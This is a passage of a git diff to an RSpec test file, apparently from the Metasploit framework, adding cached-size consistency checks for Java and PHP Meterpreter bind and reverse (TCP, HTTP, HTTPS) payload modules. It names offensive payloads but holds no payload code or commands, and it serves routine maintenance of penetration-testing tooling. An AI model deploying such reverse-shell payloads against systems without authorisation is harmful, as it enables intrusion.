!excludedTypes.include?(type.to_s) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 5e9c52b309d22..74a95ea79fbf3 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1712,6 +1712,42 @@ reference_name: 'java/shell_reverse_tcp' end + context 'java/meterpreter_bind_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/java/meterpreter_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'java/meterpreter_bind_tcp' + end + + context 'java/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/java/meterpreter_reverse_http' + ], + modules_pathname: modules_pathname, + reference_name: 'java/meterpreter_reverse_http' + end + + context 'java/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/java/meterpreter_reverse_https' + ], + modules_pathname: modules_pathname, + reference_name: 'java/meterpreter_reverse_https' + end + + context 'java/meterpreter_reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/java/meterpreter_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'java/meterpreter_reverse_tcp' + end + context 'linux/aarch64/chmod' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2987,6 +3023,44 @@ reference_name: 'php/meterpreter_reverse_tcp' end + context 'php/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/php/meterpreter_reverse_http' + ], + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter_reverse_http' + end + + context 'php/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/php/meterpreter_reverse_https' + ], + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter_reverse_https' + end + + context 'php/meterpreter/reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/php/reverse_http', + 'stages/php/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter/reverse_http' + end + + context 'php/meterpreter/reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/php/reverse_https', + 'stages/php/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter/reverse_https' + end + context 'php/reverse_php' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [